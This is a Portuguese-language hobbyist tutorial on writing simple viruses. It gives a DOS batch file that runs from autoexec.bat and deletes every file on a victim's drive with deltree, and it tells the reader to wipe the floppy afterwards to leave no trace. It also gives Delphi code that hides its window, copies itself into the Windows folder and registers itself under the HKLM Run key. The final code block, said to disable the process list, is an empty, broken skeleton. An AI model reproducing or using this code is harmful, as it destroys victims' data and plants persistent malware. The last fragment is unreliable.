Criando Vírus
Em primeiro lugar, você deve
abrir o MS-DOS e seguir os passos abaixo:
Digite: Edit (nome do seu arquivo).bat, deverá aparecer uma tela azul.
Entre com os comandos: @ECHO OFF e BREAK OFF. A página deverá ficar da
seguinte maneira, como está embaixo:
@ECHO OFF
BREAK OFF
Depois disso, a pessoa escolhe o que seu vírus deve fazer. Depois ela usa o
comando copy a:\(nome do seu vírus).bat autoexec.bat, ela então terá a certeza
de estar executando seu vírus ao iniciar o computador-alvo. Agora vamos supor
que o seu vírus seja capaz de apagar todos os arquivos do PC alheio. Você deve
usar o seguinte
comando:
deltree/y c:\*.*
Agora, o vírus simples da pessoa está completo. É só a vítima (seu amiguinho)
executar o arquivo e pronto!
Importante:
Caso a pessoa passe esse vírus via disquete, ele não deve esqueçer de finalizar
o arquivo com o comando deltree/y a:\*.*. Isso serve para não deixar vestígios
de seu ato insano.
Virus em Delphi
Existe muitas maneiras de criar um virus em delphi, a maioria dos trojans
famosos que circulão n internet foram feitos em delphi.
Eu vou mostrar como fazer um virus reninciar junto com o windows e travar o Ctrl
+ Alt + Del.
Vamos la, Primeiro abra um projeto e coloque na uses "Registry,"
Agora em baixo de "{$R *.dfm}" clouqe isso:
| procedure RunOnStartup(sProgTitle,sCmdLine: string; bRunOnce: boolean );
var sKey : string; reg : TRegIniFile; begin if( bRunOnce )then begin sKey := 'Once' end else begin sKey := ''; end; reg := TRegIniFile.Create( '' ); reg.RootKey := HKEY_LOCAL_MACHINE; reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run'+ sKey + #0, sProgTitle, sCmdLine ); reg.Free; end; |
Agora no FormCreate coloque isso:
| procedure TForm1.FormCreate(Sender: TObject); begin Application.ShowMainForm := False; CopyFile(PChar(Application.ExeName),'C:\WINDOWS\virus.exe',True); RunOnStartup('virus','C:\WINDOWS\virus.exe',true); end; |
Agora vamos fazer a parte de travar a listagem de processos, vou dar o
coder todo basta voce fazer sua arte:
| unit Unit1;
interface uses type var implementation {$R *.dfm} function TerminarProcesso(sFile: String): Boolean;
procedure TForm1.FormCreate(Sender: TObject); end. |